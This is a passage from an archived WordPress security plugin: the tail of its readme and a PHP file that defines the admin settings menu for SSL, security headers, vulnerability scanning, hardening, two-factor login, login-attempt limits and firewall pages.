Always back up before any upgrade. Especially .htaccess, wp-config.php and the plugin folder. This way you can easily roll back.

== Screenshots ==
1. The Really Simple Security Dashboard provides a quick security overview.
2. Enable or enforce 2FA per user role.
3. Stay ahead of plugin, theme and WP core vulnerabilities.
4. Harden your site’s security with Basic Hardening features.
5. 1-minute configuration with the short security onboarding.really-simple-ssl/settings/config/menu.php000064400000125237147510273070014724 0ustar00<?php
defined( 'ABSPATH' ) or die();

function rsssl_menu() {
	if ( ! rsssl_user_can_manage() ) {
		return [];
	}
	$menu_items = [
		[
			"id"             => "dashboard",
			"title"          => __( "Dashboard", 'really-simple-ssl' ),
			'default_hidden' => false,
			'menu_items'     => [],
		],
		[
			"id"             => "settings",
			"title"          => __( "Settings", 'really-simple-ssl' ),
			'default_hidden' => false,
			'menu_items'     => [
				[
					'id'       => 'general',
					'group_id' => 'general',
					'title'    => __( 'General', 'really-simple-ssl' ),
					'helpLink' => 'instructions/about-our-general-settings',
					'groups'   => [
						[
							'id'       => 'general_settings',
							'group_id' => 'general_settings',
							'title'    => __( 'General', 'really-simple-ssl' ),
							'helpLink' => 'instructions/about-our-general-settings',
						],
						[
							'id'       => 'general_email',
							'group_id' => 'general_email',
							'title'    => __( 'Email', 'really-simple-ssl' ),
							'helpLink' => 'instructions/about-our-general-settings',
						],
						[
							'id'       => 'general_captcha',
							'group_id' => 'general_captcha',
							'title'    => __( 'Captcha', 'really-simple-ssl' ),
							'helpLink' => 'instructions/about-our-general-settings',
							'premium'  => true,
							'premium_title' => __( 'Captcha', 'really-simple-ssl' ),
							'intro'      => __( "Really Simple Security can trigger a Captcha to limit access to your site or the login form.", 'really-simple-ssl' ),
							'premium_text' => __( 'Protect your website against brute-force attacks with a captcha. Choose between Google reCAPTCHA or hCaptcha.', 'really-simple-ssl' ),
						],
						[
							'id'            => 'support',
							'group_id'      => 'support',
							'title'         => __('Premium Support', 'really-simple-ssl'),
							'intro'         => __('The following information is attached when you send this form: license key, scan results, your domain, .htaccess file, debug log and a list of active plugins.', 'really-simple-ssl'),
							'premium'       => true,
							'premium_text'  => __("Elevate your security with our Premium Support! Our expert team ensures simple, hassle-free assistance whenever you need it.", 'really-simple-ssl'),
							'premium_title' => __('Why Premium Support?', 'really-simple-ssl'),
							'helpLink'      => 'instructions/debugging',
							'helpLink_text' => __('Debugging with Really Simple Security', "really-simple-ssl"),
						],
					],
				],
				[
					'id' => 'encryption',
					'title' => 'SSL',
					'groups' => [
						[
							'id' => 'encryption_lets_encrypt',
							'group_id' => 'encryption_lets_encrypt',
							'title' => __( 'Let\'s Encrypt', 'really-simple-ssl' ),
							'intro' => __( 'Let\'s Encrypt.', 'really-simple-ssl' ),
							'helpLink' => 'about-lets-encrypt',
							'directLink' => rsssl_letsencrypt_wizard_url(),
						],
						[
							'id' => 'encryption_redirect',
							'group_id' => 'encryption_redirect',
							'title' => __( 'Redirection', 'really-simple-ssl' ),
							'helpLink' => 'remove-htaccess-redirect-site-lockout',
						],
						[
							'id' => 'mixed-content-general',
							'group_id' => 'mixed-content-general',
							'title' => __( 'Mixed content', 'really-simple-ssl' ),
							'helpLink' => 'remove-htaccess-redirect-site-lockout',
						],
						[
							'id' => 'mixed-content-scan',
							'group_id' => 'mixed-content-scan',
							'title' => __( 'Mixed Content Scan', 'really-simple-ssl' ),
							'premium' => true,
							'premium_title' => __( "Mixed Content Scan", 'really-simple-ssl' ),
							'premium_text' => __( "The extensive mixed content scan will list all issues and provide a fix, or instructions to fix manually.", 'really-simple-ssl' ),
							'helpLink' => rsssl_link('mixedcontent', 'instructions'),
						],
					],
				],
				[
					'id' => 'security_headers',
					'title' => __( 'Security Headers', 'really-simple-ssl' ),
					'featured' => false,
					'menu_items' => [
						[
							'id' => 'recommended_security_headers',
							'group_id' => 'recommended_security_headers',
							'title'    => __( 'Essential Security Headers', 'really-simple-ssl' ),
							'networkwide_required' => true,
							'premium_title'         => __( "The Essentials", 'really-simple-ssl' ),
							'premium'              => true,
							'premium_text'         => __( "Protecting your website visitors from malicious attacks and data breaches should be your #1 priority, start with the essentials with Really Simple Security", 'really-simple-ssl' ),
							'helpLink' => 'instructions/about-recommended-security-headers',
						],
						[
							'id' => 'hsts',
							'group_id' => 'hsts',
							'premium'              => true,
							'networkwide_required' => true,
							'premium_text'         => __( "HSTS forces browsers always to load a website via HTTPS. It prevents unnecessary redirects and prevents manipulation of data originating from communication with your website.", 'really-simple-ssl' ),
							'title'                => 'HTTP Strict Transport Security',
							'helpLink' => 'instructions/about-hsts',
						],
						[
							'id' => 'permissions_policy',
							'group_id' => 'permissions_policy',
							'title' => 'Permissions Policy',
							'premium_text'         => __( "Control browser features that could allow third parties to misuse data collected by microphone, camera, GEO Location etc, when enabled for your website.", 'really-simple-ssl' ),
							'helpLink'             => 'instructions/about-permissions-policy',
							'networkwide_required' => true,
							'premium'              => true,
						],
						[
							'id' => 'content_security_policy',
							'group_id' => 'content_security_policy',
							'title' => __( 'Content Security Policy', 'really-simple-ssl' ),
							'intro' => __( 'Content Security Policy Headers', 'really-simple-ssl' ),
							'premium' => true,
							'networkwide_required' => true,
							'helpLink' => 'instructions/configuring-the-content-security-policy',
							'groups'  => [
								[
									'id'                   => 'upgrade_insecure_requests',
									'group_id'             => 'upgrade_insecure_requests',
									'networkwide_required' => true,
									'premium'              => true,
									'premium_text'         => __( "A correctly configured Content Security Policy can protect your visitors from the most common web attacks. It all starts with denying and upgrading insecure requests on your website.", 'really-simple-ssl' ),
									'helpLink'             => 'instructions/configuring-the-content-security-policy',
									'title'                => 'Upgrade Insecure Requests',
								],
								[
									'id'                   => 'frame_ancestors',
									'group_id'             => 'frame_ancestors',
									'networkwide_required' => true,
									'premium'              => true,
									'premium_text'         => __( "Prevent clickjacking and other malicious attacks by restricting sources that are permitted to embed content from your website.", 'really-simple-ssl' ),
									'helpLink'             => 'instructions/frame-ancestors',
									'title'                => 'Frame Ancestors',
								],
								[
									'id'                   => 'content_security_policy_source_directives',
									'group_id'             => 'content_security_policy_source_directives',
									'networkwide_required' => true,
									'helpLink'             => 'instructions/source-directives/',
									'premium'              => true,
									'premium_title'                => 'Source Directives with Learning Mode',
									'premium_text'         => __( "Allow only necessary third party resources to be loaded on your website, thus preventing common attacks. Use our unique learning mode to automatically configure your Content Security Policy.", 'really-simple-ssl' ),
									'title'                => 'Source Directives',
								]
							],
						],
						[
							'id' => 'cross_origin_policy',
							'group_id' => 'cross_origin_policy',
							'networkwide_required' => true,
							'premium'              => true,
							'premium_text'         => __( 'This is a security feature implemented by web browsers to control how web pages from different origins can interact with each other.', 'really-simple-ssl' ),
							'title'                => 'Cross Origin Policy',
							'premium_title'        => 'Advanced: Cross Origin Policy',
							'helpLink'             => 'instructions/cross-origin-policies',
						],
					],
				],
				[
					'id'        => 'vulnerabilities',
					'title'     => __( 'Vulnerabilities', 'really-simple-ssl' ),
					'menu_items' => [
						[
							'id' => 'vulnerabilities_basic',
							'group_id' => 'vulnerabilities_basic',
							'title' => __( 'Vulnerability scan', 'really-simple-ssl' ),
							'groups' => [
								[
									'id' => 'vulnerabilities_basic',
									'group_id' => 'vulnerabilities_basic',
									'title' => __( 'Vulnerability scan', 'really-simple-ssl' ),
									'intro' => __( 'Here you can configure vulnerability detection, notifications and measures. To learn more about the features displayed, please use the instructions linked in the top-right corner.', 'really-simple-ssl' ),
									'helpLink' => 'instructions/about-vulnerabilities/',
								],
								[
									'id'       => 'vulnerabilities_overview',
									'group_id' => 'vulnerabilities_overview',
									'title' => __( 'Scan results', 'really-simple-ssl' ),
									'intro' => __( 'This is the vulnerability overview. Here you will find current known vulnerabilities on your system. You can find more information and helpful, actionable insights for every vulnerability under details.', 'really-simple-ssl' ),
									'helpLink' => 'instructions/about-vulnerabilities#components',
								],
							],
						],
						[
							'id' => 'vulnerabilities_notifications',
							'group_id' => 'vulnerabilities_notifications',
							'title' => __( 'Configuration', 'really-simple-ssl' ),
							'groups'  => [
								[
									'id'       => 'vulnerabilities_notifications',
									'group_id' => 'vulnerabilities_notifications',
									'title' => __( 'Notifications', 'really-simple-ssl' ),
									'intro' => __( 'These notifications are set to the minimum risk level that triggers a notification. For example, the default site-wide notification triggers on high-risk and critical vulnerabilities.', 'really-simple-ssl' ),
									'helpLink' => 'instructions/about-vulnerabilities#notifications',
								],
								[
									'id' => 'vulnerabilities-measures-overview',
									'group_id' => 'vulnerabilities_measures',
									'title' => __( 'Measures', 'really-simple-ssl' ),
									'intro' => __( 'You can choose to automate the most common actions for a vulnerability. Each action is set to a minimum risk level, similar to the notifications. Please read the instructions to learn more about the process.', 'really-simple-ssl' ),
									'premium' => true,
									'helpLink' => 'instructions/about-vulnerabilities#measures',
									'premium_title' => __( "Automated Measures", 'really-simple-ssl' ),
									'premium_text' => __( "Maintain peace of mind with our simple, but effective automated measures when vulnerabilities are discovered. When needed Really Simple Security will force update or quarantaine vulnerable components, on your terms!", 'really-simple-ssl' ),
								],
							],
						],
					],
				],
				[
					'id' => 'hardening',
					'title' => __( 'Hardening', 'really-simple-ssl' ),
					'featured' => false,
					'menu_items' => [
						[
							'id'        => 'hardening-basic',
							'group_id'  => 'hardening-basic',
							'title'     => __( 'Basic', 'really-simple-ssl' ),
							'helpLink'  => 'instructions/about-hardening-features',
						],
						[
							'id' => 'hardening-extended',
							'group_id' => 'hardening-extended',
							'title' => __( 'Advanced', 'really-simple-ssl' ),
							'premium' => true,
							'groups' => [
								[
									'id' => 'hardening_extended',
									'group_id' => 'hardening_extended',
									'premium' => true,
									'premium_text' => __( "Advanced hardening features complement the basic hardening functions by protecting your site against advanced threats and attacks.", 'really-simple-ssl' ),
									'helpLink' => 'instructions/about-hardening-features#advanced',
									'title' => __( 'Advanced Hardening', 'really-simple-ssl' ),
									'intro' => __( 'Advanced hardening features to protect your site against sophisticated threats and attacks.', 'really-simple-ssl' ),
								],
								[
									'id' => 'hardening-xml',
									'group_id' => 'hardening-xml',
									'premium' => true,
									'premium_title' => __( 'XML-RPC with Learning Mode', 'really-simple-ssl' ),
									'premium_text' => __( "Not sure if you're using XML-RPC, or want to restrict unauthorized use of XML-RPC? With learning mode you can see exactly which sources use XML-RPC, and you can revoke where necessary.", 'really-simple-ssl' ),
									'helpLink' => 'instructions/about-hardening-features#xml-rpc',
									'title' => __( 'XML-RPC', 'really-simple-ssl' ),
									'intro' => __( 'Control and monitor the use of XML-RPC on your site with learning mode.', 'really-simple-ssl' ),
								],
							],
						],
						[
							'id' => 'hardening-file-change',
							'group_id' => 'hardening-file-change',
							'title' => __( 'File Change Detection', 'really-simple-ssl' ),
							'premium' => true,
							'groups' => [
								[
									'id' => 'hardening-file-change-main',
									'group_id' => 'hardening-file-change-main',
									'premium' => true,
									'premium_text' =>__( 'Keep your site secure by monitoring unexpected file changes.', 'really-simple-ssl' ),
									'upgrade' => 'https://really-simple-ssl.com/pro/?mtm_campaign=hardening&mtm_source=free&mtm_content=upgrade',
									'helpLink' => 'https://really-simple-ssl.com/instructions/about-file-change-detection?mtm_campaign=instructions&mtm_source=free',
									'title' => __( 'File Change Detection', 'really-simple-ssl' ),
									'intro' => __( "File Change Detection generates a snapshot of every .php and .js file. On a daily basis, each file is then compared to this snapshot.", 'really-simple-ssl' )
									           . ' ' .__( "You will receive an email warning if changes are detected.", 'really-simple-ssl' )
									           . ' ' .__( "If unexpected file changes have occurred, this could be an indication that your site is compromised.", 'really-simple-ssl' )
									           . ' ' .__( "The snapshots will be updated after WordPress, plugins or themes are activated or updated.", 'really-simple-ssl' ),
								],
								[
									'id' => 'hardening-file-change-datatable',
									'group_id' => 'hardening-file-change-datatable',
									'helpLink' => 'https://really-simple-ssl.com/instructions/about-file-change-detection',
									'title' => __( 'Detected File Changes', 'really-simple-ssl' ),
									'intro' => __( 'The daily scan will report any detected file changes in the table below.', 'really-simple-ssl' )
									.' '.__( 'If you recognize the detected changes, you can add the files to the exclude list, or ignore them just once.', 'really-simple-ssl' )
									.' '.__( 'You can reset the report and generate a new snapshot, for example if you made changes via FTP.', 'really-simple-ssl' ),
								],
							],
						],
					],
				],
				[
					'id' => 'login-security',
					'title' => __('Login Protection', 'really-simple-ssl'),
					'featured' => false,
					'new' => true,
					'menu_items' => [
						[
							'id'                   => 'two-fa',
							'networkwide_required' => true,
							'premium'              => false,
							'premium_text'         => __( 'Get two-factor authentication with Really Simple Security Pro', 'really-simple-ssl' ),
							'helpLink'             => 'instructions/about-login-protection',
							'title'                =>  __('Two-Factor Authentication', 'really-simple-ssl'),
							'groups'  => [
								[
									'id'       => 'two_fa_general',
									'group_id' => 'two_fa_general',
									'premium'              => false,
									'premium_text'         => __( "Start login protection by adding an additional layer during authentication. This will leave authentication less dependent on just a single password. Want to force strong passwords? Check out Password Security.", 'really-simple-ssl' ),
									'helpLink'      => 'instructions/about-login-protection',
									'title'    => __( 'Two-Factor Authentication', 'really-simple-ssl' ),
									'intro'    => __( 'Two-Factor authentication allows users to login using a second authentication method, other than their e-mail address and password. It is one of the most powerful ways to prevent account theft.', 'really-simple-ssl' ),
								],
								[
									'id'            => 'two_fa_email',
									'group_id'      => 'two_fa_email',
									'premium'       => false,
									'premium_text'  => __( 'Send an email code during login. You can force user roles to use two-factor authentication, or leave the choose with your users, if so desired.', 'really-simple-ssl' ),
									'upgrade'              => 'https://really-simple-ssl.com/pro/?mtm_campaign=2fa&mtm_source=free&mtm_content=upgrade',
									'helpLink' => 'instructions/two-factor-authentication',
									'title'         => __( 'Email Verification', 'really-simple-ssl' ),
									'intro'         => __( 'Email Verification sends a verification code to the user’s email address. This method provides protection against leaked or weak passwords, though it is less secure than other 2FA methods. If a user’s email inbox is compromised, one could still get access to the user account. It is not recommended to allow Email Verification for administrators.', 'really-simple-ssl' ),
								],
								[
									'id'       => 'two_fa_totp',
									'group_id' => 'two_fa_totp',
									'premium'              => true,
									'premium_text'         => __( 'Get Login Protection with Really Simple Security Pro', 'really-simple-ssl' ),
									'helpLink' => 'instructions/two-factor-authentication',
                                    'upgrade'              => 'https://really-simple-ssl.com/pro/?mtm_campaign=2fa&mtm_source=free&mtm_content=upgrade',
									'title'    => __( 'Authenticator App (TOTP)', 'really-simple-ssl' ),
									'intro'    => __( 'TOTP requires users to authenticate using a third-party app such as Google Authenticator.', 'really-simple-ssl' ),
								],
								[
									'id'            => 'two_fa_users',
									'group_id'      => 'two_fa_users',
									'premium'       => false,
									'premium_text'  => __( 'Here you control the users that are automatically, and temporarily blocked. You can also add or remove users manually. We recommend blocking ‘admin’ as username as a start.', 'really-simple-ssl' ),
									'helpLink' => 'instructions/two-factor-authentication',
									'upgrade'              => 'https://really-simple-ssl.com/pro/?mtm_campaign=2fa&mtm_source=free&mtm_content=upgrade',
									'title'         => __( 'Users', 'really-simple-ssl' ),
									'intro'         => __( 'Here you can see which users have configured Two-Factor Authentication. The reset button will trigger the 2FA onboarding for the selected user(s) again and allow the configured grace period.', 'really-simple-ssl' ),
									'groupFilter'  => [
										'default' => 'active',
										'id'      => 'two_fa_user_filter',
										'options' => [
											[
												'id'   => 'all',
												'title' => __('All', 'really-simple-ssl'),
											],
											[
												'id'    => 'active',
												'title' => __('Active', 'really-simple-ssl'),
											],
											[
												'id'    => 'open',
												'title' => __('Open', 'really-simple-ssl'),
											],
											[
												'id'    => 'disabled',
												'title' => __('Disabled', 'really-simple-ssl'),
											]
										],
									],
								],
							],
						],
						[
							'id'                   => 'password_security',
							'networkwide_required' => true,
							'title'                => __('Password Security','really-simple-ssl'),
							'helpLink'             => 'https://really-simple-ssl.com/instructions/password-security/?mtm_campaign=instructions&mtm_source=free',
							'groups'               => [
								[
									'id'           => 'password_security_passwords',
									'group_id'     => 'password_security_passwords',
									'premium_title'         => __( 'Password security', 'really-simple-ssl' ),
									'premium_text'         => __( 'Enforce secure password policies for your users by requiring strong passwords, and expiring passwords after a period of your choosing.', 'really-simple-ssl' ),
									'premium'      => true,
									'helpLink'     => 'instructions/password-security',
									'title'        => __( 'Passwords', 'really-simple-ssl' ),
									'intro'        => __( 'Improve security by requiring strong passwords and forced periodic password changes', 'really-simple-ssl' ),
								],
							]
						],
						[
							'id'      => 'limit_login_attempts',
							'title'   => __( 'Limit Login Attempts', 'really-simple-ssl' ),
							'premium' => true,
							'groups'  => [
								[
									'id'           => 'limit_login_attempts_general',
									'group_id'     => 'limit_login_attempts_general',
									'helpLink'     => 'instructions/limit-login-attempts',
									'premium'      => true,
									'premium_title'         => __( 'Limit Login Attempts', 'really-simple-ssl' ),
									'premium_text'         => __( 'Customize login attempts, intervals, and temporary lockouts according to your preferences to regulate the level of security on your website during authentication. No additional settings required', 'really-simple-ssl' ),
									'title'        => __( 'General', 'really-simple-ssl' ),
									'intro'        => __( 'Protect your site against brute force login attacks by limiting the number of login attempts. Enabling this feature will temporary lock-out a username and the IP address that tries to login, after the set number of false logins.',
										'really-simple-ssl' ),
								],
								[
									'id'           => 'limit_login_attempts_advanced',
									'group_id'     => 'limit_login_attempts_advanced',
									'premium'      => true,
									'premium_title'         => __( 'Settings', 'really-simple-ssl' ),
									'premium_text'         => __( 'Customize login attempts, intervals, and temporary lockouts according to your preferences to regulate the level of security on your website during authentication. No additional settings required', 'really-simple-ssl' ),
									'helpLink'     => 'instructions/limit-login-attempts',
									'title'        => __( 'Limit Attempts', 'really-simple-ssl' ),
									'intro'        => __( 'The settings below determine how strict your site will be protected. You can leave these settings on their default values, unless you experience issues.',
										'really-simple-ssl' ),
								],
								[
									'id'           => 'limit_login_attempts_users',
									'group_id'     => 'limit_login_attempts_users',
									'premium'      => true,
									'premium_title'         => __( 'Users', 'really-simple-ssl' ),
									'premium_text'         => __( 'Here you control the users that are automatically, and temporarily blocked. You can also add or remove users manually. We recommend blocking ‘admin’ as username as a start.', 'really-simple-ssl' ),
									'groupFilter'  => [
										'default' => 'limit_login_attempts_advanced_filter_log',
										'id'      => 'limit_login_attempts_advanced_filter',
										'options' => [
											[
												'id'    => 'blocked',
												'title' => __( 'Permanent block', 'really-simple-ssl' ),
											],
											[
												'id'    => 'allowed',
												'title' => __( 'Trusted', 'really-simple-ssl' ),
											],
											[
												'id'    => 'locked',
												'title' => __( 'Temporary block', 'really-simple-ssl' ),
											],
										],
									],
									'title'        => __( 'Users', 'really-simple-ssl' ),

									'intro'        => [
										'locked'  => __( 'Blocked usernames will be automatically unblocked after the above-configured interval. In the table below you can instantly unblock usernames.',
											'really-simple-ssl' ),
										'allowed' => __( 'You can prevent usernames from being temporarily blocked by adding them to this list. The IP address that triggers false logins will still be blocked.',
											'really-simple-ssl' ),
										'blocked' => __( 'You can add any non-existing username to this table, to instantly block IP addresses that try common usernames like "admin".',
											'really-simple-ssl' ),
									],
								],
								[
									'id'           => 'limit_login_attempts_ip_address',
									'group_id'           => 'limit_login_attempts_ip_address',
									'premium'      => true,
									'premium_title'         => __( 'IP Addresses', 'really-simple-ssl' ),
									'premium_text'         => __( 'IP Addresses can be allowed, blocked or will show up when your settings add them to a temporary blocklist. If you want to add your IP to the allowlist, please read the article provided at the right-hand side for instructions.', 'really-simple-ssl' ),
									'groupFilter'  => [
										'default' => 'limit_login_attempts_advanced_filter_log',
										'id'      => 'limit_login_attempts_advanced_filter',
										'options' => [
											[
												'id'    => 'blocked',
												'title' => __( 'Permanent block', 'really-simple-ssl' ),
											],
											[
												'id'    => 'allowed',
												'title' => __( 'Trusted', 'really-simple-ssl' ),
											],
											[
												'id'    => 'locked',
												'title' => __( 'Temporary block', 'really-simple-ssl' ),
											],
										],
									],
									'title'     => __( 'IP Addresses', 'really-simple-ssl' ),
									'intro'     => [
										'locked'  => __( 'Blocked IP addresses will be automatically unblocked after the above-configured interval. In the table below you can instantly unblock IP addresses.',
											'really-simple-ssl' ),
										'allowed' => __( 'You can prevent IP addresses from being temporarily blocked by adding them to this list. This can be convenient if you share an IP address with other site users. Usernames that trigger false logins will still be blocked.',
											'really-simple-ssl' ),
										'blocked' => __( 'You can indefinitely block known abusive IP addresses, to completely prevent them from trying to login.',
											'really-simple-ssl' ),
									],
								],
								[
									'id'           => 'limit_login_attempts_event_log',
									'group_id'           => 'limit_login_attempts_event_log',
									'premium'      			=> true,
									'premium_title'         => __( 'Event Log', 'really-simple-ssl' ),
									'premium_text'         => __( 'The Event Log shows all relevant events related to limit login attempts. You can filter the log using the dropdown on the top-right to only show warnings.', 'really-simple-ssl' ),
									'groupFilter'  => [
										'default' => 'limit_login_attempts_advanced_filter_log',
										'id'      => 'limit_login_attempts_advanced_filter',
										'options' => [
											[
												'id'    => 'warning',
												'title' => __( 'Warnings', 'really-simple-ssl' ),
											],
											[
												'id'    => 'all',
												'title' => __( 'All', 'really-simple-ssl' ),
											],
										],
									],
									'title'        => __( 'Event Log', 'really-simple-ssl' ),
									'intro'        => __( 'The Event Log shows all relevant events related to limit login attempts. You can filter the log using the dropdown on the top-right to only show warnings.',
										'really-simple-ssl' ),
								],
								[
									'id'           => 'limit_login_attempts_country',
									'group_id'           => 'limit_login_attempts_country',
									'premium'      => true,
									'premium_title'         => __( 'Regions', 'really-simple-ssl' ),
									'premium_text'         => __( 'You can easily block countries, or entire continents. You can act on the event log below and see which countries are suspicious, or exclude all countries but your own.', 'really-simple-ssl' ),
									'groupFilter'  => [
										'default' => 'limit_login_attempts_advanced_filter_log',
										'id'      => 'limit_login_attempts_advanced_filter',
										'options' => [
											[
												'id'    => 'blocked',
												'title' => __( 'Blocked', 'really-simple-ssl' ),
											],
											[
												'id'    => 'regions',
												'title' => __( 'Continents', 'really-simple-ssl' ),
											],
											[
												'id'    => 'countries',
												'title' => __( 'Allowed', 'really-simple-ssl' ),
											],
										],
									],
									'title'         => __( 'Regions', 'really-simple-ssl' ),
									'intro'         => __( 'If your site is only intended for users to login from specific geographical regions, you can entirely prevent logins from certain continents or countries.',
										'really-simple-ssl' ),
								]
							],
						],
					],

				],
				[
					'id' => 'firewall',
					'title' => __( 'Firewall', 'really-simple-ssl' ),
					'featured'   => false,
					'premium'    => true,
					'new'        => true,
					'menu_items' => [
						[
							'id'      => 'rules',
							'title'   => __( 'Rules', 'really-simple-ssl' ),
							'premium' => true,
							'groups'  => [
								[
									'id'            => 'firewall_list_general',
									'group_id'      => 'firewall_list_general',
									'helpLink'      => 'instructions/about-the-firewall',
									'premium'       => true,
									'premium_title' => __( 'Firewall Rules', 'really-simple-ssl' ),
									'premium_text'  => __( 'Restrict access from specific countries or continents. You can also allow only specific countries.', 'really-simple-ssl' ),
									'upgrade'       => 'https://really-simple-ssl.com/pro/?mtm_campaign=lla&mtm_source=free&mtm_content=upgrade',
									'title'         => __( 'Firewall', 'really-simple-ssl' ),
									'intro'         => __( 'The lightweight Firewall can be used to lockout malicious traffic from your site. You can configure generic rules below, or block specific IP addresses by adding them to the Blocklist.',
										'really-simple-ssl' ),
								],
								[
									'id' => '404_blocking',
									'group_id' => '404_blocking',
									'premium' => true,
									'title' => __( '404 Blocking', 'really-simple-ssl' ),
									'premium_title' => __( '404 Blocking', 'really-simple-ssl' ),
									'premium_text' => __( 'Crawlers might scan your site looking for possible exploits. One way to detect this is the fact that they trigger more 404 (not found) errors than legitimate visitors would. Below you can set the threshold and lockout duration for 404 blocking.', 'really-simple-ssl' ),
									'intro' => __( 'Crawlers might scan your site looking for possible exploits. One way to detect this is the fact that they trigger more 404 (not found) errors than legitimate visitors would. Below you can set the threshold and lockout duration for 404 blocking.', 'really-simple-ssl' ),
								],
                                [
                                    'id' => 'user_agents',
                                    'group_id' => 'user_agents',
                                    'premium' => true,
                                    'title' => __( 'User-Agents', 'really-simple-ssl' ),
                                    'premium_title' => __( 'User-Agents', 'really-simple-ssl' ),
                                    'premium_text' => __( 'The Firewall can also block traffic from malicious or resource-consuming bots that might crawl your website. A list of well-known bad User-Agents is automatically included. You can manually add or delete user-agents if so desired.', 'really-simple-ssl' ),
                                    'intro' => __( 'The Firewall can also block traffic from malicious or resource-consuming bots that might crawl your website. A list of well-known bad User-Agents is automatically included. You can manually add or delete user-agents if so desired.', 'really-simple-ssl' ),
                                    'groupFilter'          => [
                                        'default' => 'blocked',
                                        'id'      => 'rsssl-group-filter-user_agent_listing_overview',
                                        'options' => [
                                            [
                                                'id'    => 'blocked',
                                                'title' => __( 'Blocked', 'really-simple-ssl' ),
                                            ],
                                            [
                                                'id'   => 'deleted',
                                                'title' => __( 'Deleted', 'really-simple-ssl' ),
                                            ],
                                        ],
                                    ],
                                    ],
								[
									'id'                   => 'firewall_list_listing',
									'group_id'             => 'firewall_list_listing',
									'networkwide_required' => true,
									'premium'              => true,
									'premium_text'         => __( 'This feature allows you to block visitors from your website based on country',
										'really-simple-ssl' ),
									'title'                => __( 'Regions', 'really-simple-ssl' ),
									'premium_title'        => __( 'Regions', 'really-simple-ssl' ),
									'intro' 			  => __( 'Restrict access to your site based on user location. By default, all regions are allowed. You can also block entire continents.',
										'really-simple-ssl' ),
									'groupFilter'          => [
										'default' => 'regions',
										'id'      => 'rsssl-group-filter-geo_block_list',
										'options' => [
											[
												'id'    => 'blocked',
												'title' => __( 'Blocked', 'really-simple-ssl' ),
											],
											[
												'id'   => 'regions',
												'title' => __( 'Continents', 'really-simple-ssl' ),
											],
											[
												'id'    => 'countries',
												'title' => __( 'Allowed', 'really-simple-ssl' ),
											],
										],
									],
								],
							]
						],
						[
							'id'      => 'firewall_blocklists',
							'title'   => __( 'Blocklists', 'really-simple-ssl' ),
							'premium' => true,
							'groups' => [
								[
									'id'                   => 'firewall_white_list_listing',
									'group_id'             => 'firewall_white_list_listing',
									'networkwide_required' => true,
									'premium'              => true,
									'premium_text'         => __( 'This feature allows you to block visitors from your website based on country',
										'really-simple-ssl' ),
									'upgrade'              => 'https://really-simple-ssl.com/pro/?mtm_campaign=cops&mtm_source=free&mtm_content=upgrade',
									'title'                => __( 'Trusted IP addresses', 'really-simple-ssl' ),
									'premium_title'        => __( 'Trusted IP addresses', 'really-simple-ssl' ),
									'intro' 			  => __( 'Here you can add IP addresses that should never be blocked by the Firewall. We will automatically add the IP address of the administrator that enabled the Firewall.',
										'really-simple-ssl' ),
								],
								[
									'id'                   => 'firewall_block_list_listing',
									'group_id'             => 'firewall_block_list_listing',
									'networkwide_required' => true,
									'premium'              => true,
									'premium_text'         => __( 'This feature allows you to block visitors from your website based on country',
										'really-simple-ssl' ),
									'upgrade'              => 'https://really-simple-ssl.com/pro/?mtm_campaign=cops&mtm_source=free&mtm_content=upgrade',
									'title'                => __( 'IP Blocklist', 'really-simple-ssl' ),
									'premium_title'        => __( 'IP Blocklist', 'really-simple-ssl' ),
									'intro' 			  => __( 'This list shows all individually blocked IP addresses. On top the top-right you can filter between permanent blocks and temporary blocks. By default, blocks are only temporary, as attackers and bots will frequently alter between IP addresses. However, you can manually configure permanent blocks.',
										'really-simple-ssl' ),
									'groupFilter'          => [
										'default' => 'all',
										'id'      => 'rsssl-group-filter-geo_block_list',
										'options' => [
											[
												'id'    => 'all',
												'title' => __( 'All', 'really-simple-ssl' ),
											],
											[
												'id'    => 'temp',
												'title' => __( 'Temporary', 'really-simple-ssl' ),
											],
											[
												'id'    => 'permanent',
												'title' => __( 'Permanent', 'really-simple-ssl' ),
											],
										],
									],
								],
							]
						],
						[
							'id' => 'firewall_logs',
							'title' => __( 'Logs', 'really-simple-ssl' ),
							'premium' => true,
							'groups' => [
								[
									'id'                   => 'firewall_logs_content',
									'group_id'             => 'firewall_logs_content',
									'premium'              => true,
									'premium_text'         => __( 'This feature allows you to block visitors from your website based on country',
										'really-simple-ssl' ),
									'upgrade'              => 'https://really-simple-ssl.com/pro/?mtm_campaign=cops&mtm_source=free&mtm_content=upgrade',
									'title'                => __( 'Event Logs', 'really-simple-ssl' ),
									'premium_title'        => __( 'Event Logs', 'really-simple-ssl' ),
									'intro' 			  => __( 'The Event Log shows all relevant events related to the Firewall and IP lockouts. You can filter the log using the dropdown on the top-right to only show warnings.',
										'really-simple-ssl' ),
									'groupFilter'          => [
										'default' => 'all',
										'id'      => 'rsssl-group-filter-firewall_logs_content',
										'options' => [
											[
												'id'    => 'all',
												'title' => __( 'All', 'really-simple-ssl' ),
											],
											[
												'id'    => 'warning',
												'title' => __( 'Warnings', 'really-simple-ssl' ),
											],
										],
									],
								],
							]
						]
					]
				],
			],
		],

		[
			"id"             => "letsencrypt",
			'default_hidden' => true,
			"title"          => "Let's Encrypt",
			'intro'          => sprintf( __( 'We have tried to make our Wizard as simple and fast as possible. Although these questions are all necessary, if there’s any way you think we can improve the plugin, please let us %sknow%s!',
					'really-simple-ssl' ), '<a target="_blank" rel="noopener noreferrer" href="https://really-simple-ssl.com/contact/?mtm_campaign=instructions&mtm_source=free">', '</a>' ) .
			                    sprintf( __( ' Please note that you can always save and finish the wizard later, use our %sdocumentation%s for additional information or log a %ssupport ticket%s if you need our assistance.',
				                    'really-simple-ssl' ), '<a target="_blank" rel="noopener noreferrer" href="https://really-simple-ssl.com/install-ssl-certificate/?mtm_campaign=instructions&mtm_source=free">', '</a>',
				                    '<a target="_blank" rel="noopener noreferrer" href="https://wordpress.org/support/plugin/really-simple-ssl/">', '</a>' ),
			'menu_items' => [
				[
					'id'         => 'le-system-status',
					'group_id'         => 'le-system-status',
					'title'      => __('System status', 'really-simple-ssl'),
					'intro'      => __('Letʼs Encrypt is a free, automated and open certificate authority brought to you by the nonprofit Internet Security Research Group (ISRG).',
						'really-simple-ssl'),
					'helpLink'   => 'about-lets-encrypt',
					'tests_only' => true,
				],
				[
					'id'    => 'le-general',
					'title' => __('General Settings', 'really-simple-ssl'),
				],
				[
					'id'    => 'le-hosting',
					'title' => __('Hosting', 'really-simple-ssl'),
					'intro' => __('Below you will find the instructions for different hosting environments and configurations. If you start the process with the necessary instructions and credentials the next steps will be done in no time.',
						'really-simple-ssl'),
				],
				[
